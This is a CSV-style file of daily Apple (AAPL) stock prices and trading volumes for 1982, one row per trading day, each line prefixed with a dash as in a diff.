-1982-01-15,0.3571428656578064,0.3616071343421936,0.3571428656578064,0.3571428656578064,0.2829784154891968,11676000.0,AAPL
-1982-01-18,0.3638392984867096,0.3683035671710968,0.3638392984867096,0.3638392984867096,0.2882843315601349,7000000.0,AAPL
-1982-01-19,0.359375,0.359375,0.3549107015132904,0.3549107015132904,0.2812098264694214,13876800.0,AAPL
-1982-01-20,0.3616071343421936,0.3638392984867096,0.3616071343421936,0.3616071343421936,0.28651583194732666,6456800.0,AAPL
-1982-01-21,0.3683035671710968,0.3705357015132904,0.3683035671710968,0.3683035671710968,0.2918216288089752,8332800.0,AAPL
-1982-01-22,0.3705357015132904,0.3727678656578064,0.3705357015132904,0.3705357015132904,0.2935902178287506,6064800.0,AAPL
-1982-01-25,0.3616071343421936,0.3616071343421936,0.359375,0.359375,0.2847471237182617,11177600.0,AAPL
-1982-01-26,0.3504464328289032,0.3504464328289032,0.3459821343421936,0.3459821343421936,0.27413538098335266,5303200.0,AAPL
-1982-01-27,0.3482142984867096,0.3526785671710968,0.3482142984867096,0.3482142984867096,0.2759040594100952,7840000.0,AAPL
-1982-01-28,0.359375,0.3616071343421936,0.359375,0.359375,0.2847471237182617,9900800.0,AAPL
-1982-01-29,0.3638392984867096,0.3660714328289032,0.3638392984867096,0.3638392984867096,0.2882843315601349,13288800.0,AAPL
-1982-02-01,0.3638392984867096,0.3638392984867096,0.359375,0.359375,0.2847471237182617,9632000.0,AAPL
-1982-02-02,0.3616071343421936,0.3660714328289032,0.3616071343421936,0.3616071343421936,0.28651583194732666,13568800.0,AAPL
-1982-02-03,0.3616071343421936,0.3638392984867096,0.3616071343421936,0.3616071343421936,0.28651583194732666,7868000.0,AAPL
-1982-02-04,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2794412672519684,5510400.0,AAPL
-1982-02-05,0.3526785671710968,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2794412672519684,10074400.0,AAPL
-1982-02-08,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,7924000.0,AAPL
-1982-02-09,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,14476000.0,AAPL
-1982-02-10,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,9699200.0,AAPL
-1982-02-11,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,6132000.0,AAPL
-1982-02-12,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,4911200.0,AAPL
-1982-02-16,0.3303571343421936,0.3303571343421936,0.328125,0.328125,0.2599865198135376,8579200.0,AAPL
-1982-02-17,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26352381706237793,6395200.0,AAPL
-1982-02-18,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,7095200.0,AAPL
-1982-02-19,0.3370535671710968,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,3399200.0,AAPL
-1982-02-22,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,6658400.0,AAPL
-1982-02-23,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,8635200.0,AAPL
-1982-02-24,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,9486400.0,AAPL
-1982-02-25,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,7700000.0,AAPL
-1982-02-26,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,4356800.0,AAPL
-1982-03-01,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,8825600.0,AAPL
-1982-03-02,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,8702400.0,AAPL
-1982-03-03,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,5913600.0,AAPL
-1982-03-04,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,9592800.0,AAPL
-1982-03-05,0.2991071343421936,0.2991071343421936,0.296875,0.296875,0.23522581160068512,11328800.0,AAPL
-1982-03-08,0.2946428656578064,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23168860375881195,8786400.0,AAPL
-1982-03-09,0.2946428656578064,0.296875,0.2946428656578064,0.2946428656578064,0.2334572672843933,13126400.0,AAPL
-1982-03-10,0.2924107015132904,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2299199402332306,21733600.0,AAPL
-1982-03-11,0.2901785671710968,0.2946428656578064,0.2901785671710968,0.2901785671710968,0.2299199402332306,5644800.0,AAPL
-1982-03-12,0.2745535671710968,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,11636800.0,AAPL
-1982-03-15,0.2723214328289032,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21400241553783417,12840800.0,AAPL
-1982-03-16,0.2678571343421936,0.2678571343421936,0.265625,0.265625,0.210465207695961,11788000.0,AAPL
-1982-03-17,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.1998535394668579,12622400.0,AAPL
-1982-03-18,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,14084000.0,AAPL
-1982-03-19,0.296875,0.2991071343421936,0.296875,0.296875,0.23522581160068512,16452800.0,AAPL
-1982-03-22,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,17298400.0,AAPL
-1982-03-23,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,13988800.0,AAPL
-1982-03-24,0.2991071343421936,0.2991071343421936,0.296875,0.296875,0.23522581160068512,12902400.0,AAPL
-1982-03-25,0.296875,0.296875,0.2946428656578064,0.2946428656578064,0.2334572672843933,21028000.0,AAPL
-1982-03-26,0.2924107015132904,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2299199402332306,12695200.0,AAPL
-1982-03-29,0.296875,0.2991071343421936,0.296875,0.296875,0.23522581160068512,16900800.0,AAPL
-1982-03-30,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,19488000.0,AAPL
-1982-03-31,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,12538400.0,AAPL
-1982-04-01,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.2511433959007263,14784000.0,AAPL
-1982-04-02,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.2511433959007263,21201600.0,AAPL
-1982-04-05,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.2511433959007263,21660800.0,AAPL
-1982-04-06,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,17897600.0,AAPL
-1982-04-07,0.3125,0.3125,0.3102678656578064,0.3102678656578064,0.24583759903907776,7274400.0,AAPL
-1982-04-08,0.3125,0.3147321343421936,0.3125,0.3125,0.24760623276233673,5997600.0,AAPL
-1982-04-12,0.3125,0.3147321343421936,0.3102678656578064,0.3102678656578064,0.24583759903907776,11076800.0,AAPL
-1982-04-13,0.2879464328289032,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.2263827919960022,21324800.0,AAPL
-1982-04-14,0.2879464328289032,0.2901785671710968,0.2879464328289032,0.2879464328289032,0.2281513512134552,28397600.0,AAPL
-1982-04-15,0.2924107015132904,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23168860375881195,41070400.0,AAPL
-1982-04-16,0.3013392984867096,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,26012000.0,AAPL
-1982-04-19,0.2991071343421936,0.2991071343421936,0.2946428656578064,0.2946428656578064,0.2334572672843933,10320800.0,AAPL
-1982-04-20,0.2834821343421936,0.2834821343421936,0.28125,0.28125,0.22284552454948425,20137600.0,AAPL
-1982-04-21,0.28125,0.28125,0.2790178656578064,0.2790178656578064,0.2210768610239029,18256000.0,AAPL
-1982-04-22,0.2767857015132904,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.2175396978855133,13148800.0,AAPL
-1982-04-23,0.2745535671710968,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.2175396978855133,12073600.0,AAPL
-1982-04-26,0.28125,0.2834821343421936,0.28125,0.28125,0.22284552454948425,14481600.0,AAPL
-1982-04-27,0.2745535671710968,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,17567200.0,AAPL
-1982-04-28,0.2633928656578064,0.2633928656578064,0.2611607015132904,0.2611607015132904,0.20692801475524902,24808000.0,AAPL
-1982-04-29,0.2611607015132904,0.2633928656578064,0.2611607015132904,0.2611607015132904,0.20692801475524902,20557600.0,AAPL
-1982-04-30,0.2633928656578064,0.265625,0.2633928656578064,0.2633928656578064,0.20869657397270203,69350400.0,AAPL
-1982-05-03,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,20675200.0,AAPL
-1982-05-04,0.28125,0.2834821343421936,0.28125,0.28125,0.22284552454948425,18496800.0,AAPL
-1982-05-05,0.28125,0.28125,0.2767857015132904,0.2767857015132904,0.2193082869052887,13484800.0,AAPL
-1982-05-06,0.2857142984867096,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.2263827919960022,18866400.0,AAPL
-1982-05-07,0.2901785671710968,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2299199402332306,21179200.0,AAPL
-1982-05-10,0.2879464328289032,0.2879464328289032,0.2857142984867096,0.2857142984867096,0.2263827919960022,7901600.0,AAPL
-1982-05-11,0.2790178656578064,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.2193082869052887,25754400.0,AAPL
-1982-05-12,0.2723214328289032,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21400241553783417,17752000.0,AAPL
-1982-05-13,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,13613600.0,AAPL
-1982-05-14,0.265625,0.265625,0.2611607015132904,0.2611607015132904,0.20692801475524902,23934400.0,AAPL
-1982-05-17,0.2589285671710968,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20339077711105347,19051200.0,AAPL
-1982-05-18,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.1998535394668579,30508800.0,AAPL
-1982-05-19,0.2522321343421936,0.2522321343421936,0.25,0.25,0.19808495044708252,18821600.0,AAPL
-1982-05-20,0.2522321343421936,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.1998535394668579,6904800.0,AAPL
-1982-05-21,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.2016221433877945,9710400.0,AAPL
-1982-05-24,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20339077711105347,7996800.0,AAPL
-1982-05-25,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20339077711105347,12891200.0,AAPL
-1982-05-26,0.2566964328289032,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.2016221433877945,10819200.0,AAPL
-1982-05-27,0.2522321343421936,0.2522321343421936,0.25,0.25,0.19808495044708252,7812000.0,AAPL
-1982-05-28,0.25,0.2522321343421936,0.25,0.25,0.19808495044708252,4799200.0,AAPL
-1982-06-01,0.2477678507566452,0.2477678507566452,0.2455357164144516,0.2455357164144516,0.19454774260520935,11900000.0,AAPL
-1982-06-02,0.25,0.2522321343421936,0.25,0.25,0.19808495044708252,8226400.0,AAPL
-1982-06-03,0.2455357164144516,0.2455357164144516,0.2410714328289032,0.2410714328289032,0.1910104602575302,9940000.0,AAPL
-1982-06-04,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.18570466339588165,9419200.0,AAPL
-1982-06-07,0.234375,0.2366071492433548,0.234375,0.234375,0.18570466339588165,9290400.0,AAPL
-1982-06-08,0.234375,0.234375,0.2321428507566452,0.2321428507566452,0.1839359998703003,7851200.0,AAPL
-1982-06-09,0.2299107164144516,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18039880692958832,8461600.0,AAPL
-1982-06-10,0.2299107164144516,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.18216738104820251,8601600.0,AAPL
-1982-06-11,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,13658400.0,AAPL
-1982-06-14,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,7498400.0,AAPL
-1982-06-15,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,8803200.0,AAPL
-1982-06-16,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,10432800.0,AAPL
-1982-06-17,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.18570466339588165,7291200.0,AAPL
-1982-06-18,0.234375,0.234375,0.2299107164144516,0.2299107164144516,0.18216738104820251,4967200.0,AAPL
-1982-06-21,0.2299107164144516,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.18216738104820251,7134400.0,AAPL
-1982-06-22,0.2388392835855484,0.2433035671710968,0.2388392835855484,0.2388392835855484,0.18924185633659363,4390400.0,AAPL
-1982-06-23,0.2455357164144516,0.25,0.2455357164144516,0.2455357164144516,0.19454774260520935,13188000.0,AAPL
-1982-06-24,0.2455357164144516,0.2477678507566452,0.2455357164144516,0.2455357164144516,0.19454774260520935,11037600.0,AAPL
-1982-06-25,0.2388392835855484,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18747322261333466,6669600.0,AAPL
-1982-06-28,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.18570466339588165,6288800.0,AAPL
-1982-06-29,0.2299107164144516,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18039880692958832,8954400.0,AAPL
-1982-06-30,0.2276785671710968,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18039880692958832,16906400.0,AAPL
-1982-07-01,0.2276785671710968,0.2276785671710968,0.2254464328289032,0.2254464328289032,0.17863014340400696,13932800.0,AAPL
-1982-07-02,0.2165178507566452,0.2165178507566452,0.2142857164144516,0.2142857164144516,0.16978707909584045,14526400.0,AAPL
-1982-07-06,0.2075892835855484,0.2075892835855484,0.2053571492433548,0.2053571492433548,0.16271260380744934,21924000.0,AAPL
-1982-07-07,0.2053571492433548,0.2075892835855484,0.2053571492433548,0.2053571492433548,0.16271260380744934,7593600.0,AAPL
-1982-07-08,0.1986607164144516,0.1986607164144516,0.1964285671710968,0.1964285671710968,0.15563823282718658,41081600.0,AAPL
-1982-07-09,0.203125,0.2053571492433548,0.203125,0.203125,0.16094405949115753,32104800.0,AAPL
-1982-07-12,0.2075892835855484,0.2098214328289032,0.2075892835855484,0.2075892835855484,0.16448122262954712,15848000.0,AAPL
-1982-07-13,0.2209821492433548,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.1750929206609726,28593600.0,AAPL
-1982-07-14,0.2232142835855484,0.2276785671710968,0.2232142835855484,0.2232142835855484,0.17686150968074799,17780000.0,AAPL
-1982-07-15,0.2276785671710968,0.2299107164144516,0.2276785671710968,0.2276785671710968,0.18039880692958832,16447200.0,AAPL
-1982-07-16,0.2366071492433548,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18747322261333466,19252800.0,AAPL
-1982-07-19,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,20944000.0,AAPL
-1982-07-20,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.2016221433877945,12426400.0,AAPL
-1982-07-21,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.2016221433877945,17925600.0,AAPL
-1982-07-22,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20339077711105347,8803200.0,AAPL
-1982-07-23,0.2544642984867096,0.2544642984867096,0.2522321343421936,0.2522321343421936,0.1998535394668579,4575200.0,AAPL
-1982-07-26,0.2433035671710968,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.1910104602575302,14212800.0,AAPL
-1982-07-27,0.2410714328289032,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.1910104602575302,8080800.0,AAPL
-1982-07-28,0.2321428507566452,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.18216738104820251,13378400.0,AAPL
-1982-07-29,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,15467200.0,AAPL
-1982-07-30,0.2410714328289032,0.2433035671710968,0.2410714328289032,0.2410714328289032,0.1910104602575302,9654400.0,AAPL
-1982-08-02,0.2477678507566452,0.25,0.2477678507566452,0.2477678507566452,0.19631628692150116,23598400.0,AAPL
-1982-08-03,0.234375,0.234375,0.2321428507566452,0.2321428507566452,0.1839359998703003,22467200.0,AAPL
-1982-08-04,0.2321428507566452,0.2321428507566452,0.2299107164144516,0.2299107164144516,0.18216738104820251,20966400.0,AAPL
-1982-08-05,0.2232142835855484,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.1750929206609726,17438400.0,AAPL
-1982-08-06,0.2209821492433548,0.2209821492433548,0.21875,0.21875,0.1733243316411972,24208800.0,AAPL
-1982-08-09,0.2209821492433548,0.2232142835855484,0.2209821492433548,0.2209821492433548,0.1750929206609726,14028000.0,AAPL
-1982-08-10,0.234375,0.2366071492433548,0.234375,0.234375,0.18570466339588165,28061600.0,AAPL
-1982-08-11,0.2366071492433548,0.2388392835855484,0.2366071492433548,0.2366071492433548,0.18747322261333466,17472000.0,AAPL
-1982-08-12,0.2366071492433548,0.2366071492433548,0.234375,0.234375,0.18570466339588165,7655200.0,AAPL
-1982-08-13,0.234375,0.2366071492433548,0.234375,0.234375,0.18570466339588165,6490400.0,AAPL
-1982-08-16,0.2388392835855484,0.2410714328289032,0.2388392835855484,0.2388392835855484,0.18924185633659363,9604000.0,AAPL
-1982-08-17,0.2544642984867096,0.2589285671710968,0.2544642984867096,0.2544642984867096,0.2016221433877945,11933600.0,AAPL
-1982-08-18,0.2544642984867096,0.2566964328289032,0.2544642984867096,0.2544642984867096,0.2016221433877945,31264800.0,AAPL
-1982-08-19,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20339077711105347,11905600.0,AAPL
-1982-08-20,0.2633928656578064,0.265625,0.2633928656578064,0.2633928656578064,0.20869657397270203,13714400.0,AAPL
-1982-08-23,0.2745535671710968,0.2767857015132904,0.2745535671710968,0.2745535671710968,0.2175396978855133,17421600.0,AAPL
-1982-08-24,0.2879464328289032,0.2901785671710968,0.2879464328289032,0.2879464328289032,0.2281513512134552,38942400.0,AAPL
-1982-08-25,0.3080357015132904,0.3102678656578064,0.3080357015132904,0.3080357015132904,0.24406883120536804,89269600.0,AAPL
-1982-08-26,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.2511433959007263,52645600.0,AAPL
-1982-08-27,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,24662400.0,AAPL
-1982-08-30,0.3058035671710968,0.3080357015132904,0.3058035671710968,0.3058035671710968,0.2423003911972046,20109600.0,AAPL
-1982-08-31,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,35140000.0,AAPL
-1982-09-01,0.3147321343421936,0.3147321343421936,0.3125,0.3125,0.24760623276233673,20641600.0,AAPL
-1982-09-02,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,18855200.0,AAPL
-1982-09-03,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,26135200.0,AAPL
-1982-09-07,0.3125,0.3125,0.3102678656578064,0.3102678656578064,0.24583759903907776,20344800.0,AAPL
-1982-09-08,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,18082400.0,AAPL
-1982-09-09,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,15898400.0,AAPL
-1982-09-10,0.3236607015132904,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.2564491927623749,14016800.0,AAPL
-1982-09-13,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,14722400.0,AAPL
-1982-09-14,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,25373600.0,AAPL
-1982-09-15,0.3370535671710968,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,17936800.0,AAPL
-1982-09-16,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.2564491927623749,20092800.0,AAPL
-1982-09-17,0.3191964328289032,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.2511433959007263,13512800.0,AAPL
-1982-09-20,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,9783200.0,AAPL
-1982-09-21,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,9167200.0,AAPL
-1982-09-22,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,25844000.0,AAPL
-1982-09-23,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,34955200.0,AAPL
-1982-09-24,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.2564491927623749,44548000.0,AAPL
-1982-09-27,0.3236607015132904,0.328125,0.3236607015132904,0.3236607015132904,0.2564491927623749,9536800.0,AAPL
-1982-09-28,0.328125,0.3325892984867096,0.328125,0.328125,0.2599865198135376,21380800.0,AAPL
-1982-09-29,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,16391200.0,AAPL
-1982-09-30,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,18670400.0,AAPL
-1982-10-01,0.3303571343421936,0.3348214328289032,0.3303571343421936,0.3303571343421936,0.2617550790309906,11564000.0,AAPL
-1982-10-04,0.3303571343421936,0.3370535671710968,0.3214285671710968,0.3348214328289032,0.26529231667518616,17332000.0,AAPL
-1982-10-05,0.3348214328289032,0.34375,0.3348214328289032,0.3370535671710968,0.2670608460903168,20059200.0,AAPL
-1982-10-06,0.3370535671710968,0.3616071343421936,0.3370535671710968,0.3616071343421936,0.28651583194732666,43383200.0,AAPL
-1982-10-07,0.3638392984867096,0.3928571343421936,0.3638392984867096,0.390625,0.30950769782066345,77918400.0,AAPL
-1982-10-08,0.390625,0.421875,0.3883928656578064,0.4196428656578064,0.3324996531009674,68885600.0,AAPL
-1982-10-11,0.4196428656578064,0.4419642984867096,0.4196428656578064,0.4285714328289032,0.3395741581916809,78433600.0,AAPL
-1982-10-12,0.4285714328289032,0.4352678656578064,0.4107142984867096,0.4151785671710968,0.32896244525909424,64736000.0,AAPL
-1982-10-13,0.4151785671710968,0.4330357015132904,0.4107142984867096,0.4196428656578064,0.3324996531009674,49711200.0,AAPL
-1982-10-14,0.4196428656578064,0.4263392984867096,0.4129464328289032,0.421875,0.3342682719230652,44665600.0,AAPL
-1982-10-15,0.4196428656578064,0.4196428656578064,0.4040178656578064,0.4107142984867096,0.3254252076148987,36153600.0,AAPL
-1982-10-18,0.4107142984867096,0.421875,0.4107142984867096,0.4196428656578064,0.3324996531009674,23587200.0,AAPL
-1982-10-19,0.4196428656578064,0.4330357015132904,0.4196428656578064,0.4285714328289032,0.3395741581916809,30710400.0,AAPL
-1982-10-20,0.4285714328289032,0.4575892984867096,0.4263392984867096,0.453125,0.3590288758277893,60524800.0,AAPL
-1982-10-21,0.453125,0.4776785671710968,0.4464285671710968,0.4642857015132904,0.3678719997406006,56879200.0,AAPL
-1982-10-22,0.4642857015132904,0.4776785671710968,0.4620535671710968,0.4620535671710968,0.3661033511161804,40420800.0,AAPL
-1982-10-25,0.4620535671710968,0.4642857015132904,0.4330357015132904,0.4352678656578064,0.34488004446029663,46233600.0,AAPL
-1982-10-26,0.4352678656578064,0.4397321343421936,0.4151785671710968,0.4375,0.3466486632823944,41938400.0,AAPL
-1982-10-27,0.4375,0.4508928656578064,0.4375,0.4486607015132904,0.3554917573928833,47790400.0,AAPL
-1982-10-28,0.4486607015132904,0.453125,0.4419642984867096,0.4486607015132904,0.3554917573928833,54420800.0,AAPL
-1982-10-29,0.4486607015132904,0.453125,0.4419642984867096,0.453125,0.3590288758277893,29528800.0,AAPL
-1982-11-01,0.453125,0.4821428656578064,0.4486607015132904,0.4776785671710968,0.37848371267318726,26090400.0,AAPL
-1982-11-02,0.4821428656578064,0.5267857313156128,0.4821428656578064,0.5111607313156128,0.40501296520233154,77711200.0,AAPL
-1982-11-03,0.5111607313156128,0.5491071343421936,0.5111607313156128,0.5491071343421936,0.4350793957710266,58783200.0,AAPL
-1982-11-04,0.5491071343421936,0.5691964030265808,0.5446428656578064,0.5535714030265808,0.4386165738105774,82269600.0,AAPL
-1982-11-05,0.5491071343421936,0.5491071343421936,0.5290178656578064,0.5379464030265808,0.4262363910675049,35375200.0,AAPL
-1982-11-08,0.5379464030265808,0.5424107313156128,0.5133928656578064,0.515625,0.40855029225349426,29797600.0,AAPL
-1982-11-09,0.515625,0.5379464030265808,0.5133928656578064,0.5334821343421936,0.42269906401634216,44945600.0,AAPL
-1982-11-10,0.5357142686843872,0.5625,0.5357142686843872,0.5535714030265808,0.4386165738105774,50696800.0,AAPL
-1982-11-11,0.5535714030265808,0.5892857313156128,0.5446428656578064,0.5892857313156128,0.4669145345687866,30788800.0,AAPL
-1982-11-12,0.5892857313156128,0.6071428656578064,0.578125,0.578125,0.45807135105133057,32776800.0,AAPL
-1982-11-15,0.578125,0.5848214030265808,0.5580357313156128,0.5647321343421936,0.44745975732803345,31147200.0,AAPL
-1982-11-16,0.5647321343421936,0.5669642686843872,0.5334821343421936,0.5357142686843872,0.4244675934314728,45505600.0,AAPL
-1982-11-17,0.5357142686843872,0.5625,0.5357142686843872,0.5602678656578064,0.4439224600791931,36036000.0,AAPL
-1982-11-18,0.5602678656578064,0.5691964030265808,0.5580357313156128,0.5602678656578064,0.4439224600791931,38169600.0,AAPL
-1982-11-19,0.5602678656578064,0.5647321343421936,0.5491071343421936,0.5513392686843872,0.4368479549884796,24326400.0,AAPL
-1982-11-22,0.5513392686843872,0.5513392686843872,0.5022321343421936,0.5022321343421936,0.39793848991394043,25312000.0,AAPL
-1982-11-23,0.5089285969734192,0.53125,0.5089285969734192,0.515625,0.40855029225349426,22125600.0,AAPL
-1982-11-24,0.515625,0.5446428656578064,0.5133928656578064,0.5267857313156128,0.41739314794540405,18435200.0,AAPL
-1982-11-26,0.5267857313156128,0.5334821343421936,0.5066964030265808,0.5178571343421936,0.4103188216686249,25496800.0,AAPL
-1982-11-29,0.5178571343421936,0.5245535969734192,0.5,0.515625,0.40855029225349426,12488000.0,AAPL
-1982-11-30,0.515625,0.5714285969734192,0.5133928656578064,0.5691964030265808,0.45099684596061707,39799200.0,AAPL
-1982-12-01,0.5691964030265808,0.6026785969734192,0.5691964030265808,0.5803571343421936,0.4598398804664612,51710400.0,AAPL
-1982-12-02,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5803571343421936,0.4598398804664612,41182400.0,AAPL
-1982-12-03,0.5736607313156128,0.5736607313156128,0.5602678656578064,0.5669642686843872,0.44922828674316406,11894400.0,AAPL
-1982-12-06,0.5669642686843872,0.6026785969734192,0.5625,0.5982142686843872,0.4739888608455658,36646400.0,AAPL
-1982-12-07,0.5982142686843872,0.6183035969734192,0.5848214030265808,0.6049107313156128,0.47929471731185913,41820800.0,AAPL
-1982-12-08,0.6049107313156128,0.6227678656578064,0.5892857313156128,0.5915178656578064,0.4686829745769501,28078400.0,AAPL
-1982-12-09,0.5825892686843872,0.5825892686843872,0.5535714030265808,0.5625,0.4456910490989685,48664000.0,AAPL
-1982-12-10,0.5535714030265808,0.5535714030265808,0.515625,0.5223214030265808,0.41385602951049805,41871200.0,AAPL
-1982-12-13,0.5178571343421936,0.5178571343421936,0.5111607313156128,0.5111607313156128,0.40501296520233154,23844800.0,AAPL
-1982-12-14,0.5111607313156128,0.5424107313156128,0.5,0.5066964030265808,0.401475727558136,67513600.0,AAPL
-1982-12-15,0.5066964030265808,0.5089285969734192,0.4933035671710968,0.5044642686843872,0.3997070789337158,32698400.0,AAPL
-1982-12-16,0.5044642686843872,0.5223214030265808,0.5,0.5133928656578064,0.40678155422210693,35291200.0,AAPL
-1982-12-17,0.5133928656578064,0.5424107313156128,0.5111607313156128,0.5379464030265808,0.4262363910675049,20182400.0,AAPL
-1982-12-20,0.5379464030265808,0.5401785969734192,0.53125,0.5357142686843872,0.4244675934314728,17444000.0,AAPL
-1982-12-21,0.5357142686843872,0.5401785969734192,0.5267857313156128,0.5401785969734192,0.42800483107566833,19986400.0,AAPL
-1982-12-22,0.5424107313156128,0.5558035969734192,0.5424107313156128,0.5558035969734192,0.44038525223731995,25306400.0,AAPL
-1982-12-23,0.5558035969734192,0.5714285969734192,0.5513392686843872,0.5714285969734192,0.4527655839920044,21744800.0,AAPL
-1982-12-27,0.5714285969734192,0.5870535969734192,0.5669642686843872,0.5848214030265808,0.4633772075176239,15467200.0,AAPL
-1982-12-28,0.5848214030265808,0.6026785969734192,0.5736607313156128,0.5803571343421936,0.4598398804664612,28341600.0,AAPL
-1982-12-29,0.5803571343421936,0.5825892686843872,0.5535714030265808,0.5602678656578064,0.4439224600791931,20176800.0,AAPL
-1982-12-30,0.5602678656578064,0.5669642686843872,0.5290178656578064,0.5357142686843872,0.4244675934314728,39216800.0,AAPL
-1982-12-31,0.5357142686843872,0.5424107313156128,0.5334821343421936,0.5334821343421936,0.42269906401634216,12415200.0,AAPL
